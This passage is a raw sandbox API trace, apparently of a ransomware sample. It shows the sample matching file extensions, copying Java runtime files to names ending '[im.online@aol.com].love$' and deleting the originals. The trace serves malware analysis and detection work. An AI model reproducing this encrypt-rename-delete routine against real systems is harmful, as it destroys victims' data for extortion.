(lpString=".bz2") returned 4 [0234.580] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0234.580] lstrlenW (lpString=".7z") returned 3 [0234.581] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString=".dbf") returned 4 [0234.581] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString=".1cd") returned 4 [0234.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString=".jpg") returned 4 [0234.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString=".doc") returned 4 [0234.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".docx") returned 5 [0234.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0234.581] lstrlenW (lpString=".pdf") returned 4 [0234.581] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".xls") returned 4 [0234.581] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".xlsx") returned 5 [0234.581] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0234.581] lstrlenW (lpString=".ppt") returned 4 [0234.581] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.581] lstrlenW (lpString=".zip") returned 4 [0234.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".rar") returned 4 [0234.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".bz2") returned 4 [0234.581] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0234.581] lstrlenW (lpString=".7z") returned 3 [0234.582] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0234.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.582] lstrlenW (lpString=".dbf") returned 4 [0234.582] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0234.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.582] lstrlenW (lpString=".1cd") returned 4 [0234.582] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0234.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0234.582] lstrlenW (lpString=".jpg") returned 4 [0234.582] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0234.582] lstrcmpiW (lpString1=".bfc", lpString2=".love$") returned -1 [0234.582] lstrlenW (lpString="fontconfig.bfc") returned 14 [0234.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.583] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=3770) returned 1 [0234.583] CloseHandle (hObject=0x480) returned 1 [0234.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0234.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.583] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.584] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.584] GetLastError () returned 0x0 [0234.584] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xeba, lpOverlapped=0x0) returned 1 [0234.586] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xec0, lpOverlapped=0x0) returned 1 [0234.587] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.587] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf0, lpOverlapped=0x0) returned 1 [0234.587] SetEndOfFile (hFile=0x4c4) returned 1 [0234.587] CloseHandle (hObject=0x4c4) returned 1 [0234.588] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.588] SetEndOfFile (hFile=0x480) returned 1 [0234.591] CloseHandle (hObject=0x480) returned 1 [0234.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.591] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0234.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.592] lstrlenW (lpString=".doc") returned 4 [0234.592] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0234.592] lstrlenW (lpString=".docx") returned 5 [0234.592] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0234.592] lstrlenW (lpString=".pdf") returned 4 [0234.592] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0234.592] lstrlenW (lpString=".xls") returned 4 [0234.592] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0234.592] lstrlenW (lpString=".xlsx") returned 5 [0234.592] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0234.592] lstrlenW (lpString=".ppt") returned 4 [0234.592] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0234.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.593] lstrlenW (lpString=".zip") returned 4 [0234.593] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0234.593] lstrlenW (lpString=".rar") returned 4 [0234.593] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0234.593] lstrlenW (lpString=".bz2") returned 4 [0234.593] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0234.593] lstrlenW (lpString=".7z") returned 3 [0234.593] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0234.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.597] lstrlenW (lpString=".dbf") returned 4 [0234.597] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0234.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.598] lstrlenW (lpString=".1cd") returned 4 [0234.598] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0234.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.598] lstrlenW (lpString=".jpg") returned 4 [0234.598] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0234.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.598] lstrlenW (lpString=".doc") returned 4 [0234.598] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0234.598] lstrlenW (lpString=".docx") returned 5 [0234.598] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0234.599] lstrlenW (lpString=".pdf") returned 4 [0234.599] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString=".xls") returned 4 [0234.599] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString=".xlsx") returned 5 [0234.599] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0234.599] lstrlenW (lpString=".ppt") returned 4 [0234.599] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.599] lstrlenW (lpString=".zip") returned 4 [0234.599] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString=".rar") returned 4 [0234.599] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString=".bz2") returned 4 [0234.599] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString=".7z") returned 3 [0234.599] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0234.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.599] lstrlenW (lpString=".dbf") returned 4 [0234.599] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0234.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.599] lstrlenW (lpString=".1cd") returned 4 [0234.599] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0234.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0234.599] lstrlenW (lpString=".jpg") returned 4 [0234.599] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0234.599] lstrcmpiW (lpString1=".src", lpString2=".love$") returned 1 [0234.600] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0234.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.600] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10568) returned 1 [0234.601] CloseHandle (hObject=0x480) returned 1 [0234.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0234.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.601] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.601] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.601] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.602] GetLastError () returned 0x0 [0234.602] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2948, lpOverlapped=0x0) returned 1 [0234.605] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2950, lpOverlapped=0x0) returned 1 [0234.606] ReadFile (in: hFile=0x480, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.606] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0234.606] SetEndOfFile (hFile=0x4c4) returned 1 [0234.606] CloseHandle (hObject=0x4c4) returned 1 [0234.606] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.606] SetEndOfFile (hFile=0x480) returned 1 [0234.609] CloseHandle (hObject=0x480) returned 1 [0234.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.610] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0234.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0234.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0234.612] lstrlenW (lpString=".doc") returned 4 [0234.613] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0234.613] lstrlenW (lpString=".docx") returned 5 [0234.613] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0234.613] lstrlenW (lpString=".pdf") returned 4 [0234.613] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0234.613] lstrlenW (lpString=".xls") returned 4 [0234.613] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0234.613] lstrlenW (lpString=".xlsx") returned 5 [0234.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0234.613] lstrlenW (lpString=".ppt") returned 4 [0235.036] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0235.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.036] lstrlenW (lpString=".zip") returned 4 [0235.036] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0235.036] lstrlenW (lpString=".rar") returned 4 [0235.036] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0235.036] lstrlenW (lpString=".bz2") returned 4 [0235.036] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0235.036] lstrlenW (lpString=".7z") returned 3 [0235.036] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0235.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.036] lstrlenW (lpString=".dbf") returned 4 [0235.036] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0235.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.036] lstrlenW (lpString=".1cd") returned 4 [0235.036] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0235.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.036] lstrlenW (lpString=".jpg") returned 4 [0235.036] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.037] lstrlenW (lpString=".doc") returned 4 [0235.037] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString=".docx") returned 5 [0235.037] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0235.037] lstrlenW (lpString=".pdf") returned 4 [0235.037] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString=".xls") returned 4 [0235.037] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0235.037] lstrlenW (lpString=".xlsx") returned 5 [0235.037] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0235.037] lstrlenW (lpString=".ppt") returned 4 [0235.037] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.037] lstrlenW (lpString=".zip") returned 4 [0235.037] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0235.037] lstrlenW (lpString=".rar") returned 4 [0235.037] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString=".bz2") returned 4 [0235.037] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString=".7z") returned 3 [0235.037] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0235.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.037] lstrlenW (lpString=".dbf") returned 4 [0235.037] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0235.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.037] lstrlenW (lpString=".1cd") returned 4 [0235.037] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0235.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0235.038] lstrlenW (lpString=".jpg") returned 4 [0235.038] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0235.038] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0235.038] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0235.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.039] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=80856) returned 1 [0235.039] CloseHandle (hObject=0x488) returned 1 [0235.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0235.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0235.041] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.041] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.041] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.043] GetLastError () returned 0x0 [0235.043] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0235.048] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x13be0, lpOverlapped=0x0) returned 1 [0235.051] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.051] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x100, lpOverlapped=0x0) returned 1 [0235.052] SetEndOfFile (hFile=0x4cc) returned 1 [0235.052] CloseHandle (hObject=0x4cc) returned 1 [0235.052] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.052] SetEndOfFile (hFile=0x488) returned 1 [0235.058] CloseHandle (hObject=0x488) returned 1 [0235.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.058] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0235.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.060] lstrlenW (lpString=".doc") returned 4 [0235.060] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString=".docx") returned 5 [0235.060] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0235.060] lstrlenW (lpString=".pdf") returned 4 [0235.060] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString=".xls") returned 4 [0235.060] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.060] lstrlenW (lpString=".xlsx") returned 5 [0235.060] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0235.060] lstrlenW (lpString=".ppt") returned 4 [0235.060] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.060] lstrlenW (lpString=".zip") returned 4 [0235.060] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.060] lstrlenW (lpString=".rar") returned 4 [0235.060] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString=".bz2") returned 4 [0235.060] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString=".7z") returned 3 [0235.060] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.060] lstrlenW (lpString=".dbf") returned 4 [0235.060] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.060] lstrlenW (lpString=".1cd") returned 4 [0235.060] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.061] lstrlenW (lpString=".jpg") returned 4 [0235.061] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0235.061] lstrlenW (lpString=".doc") returned 4 [0235.061] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.061] lstrlenW (lpString=".docx") returned 5 [0235.061] 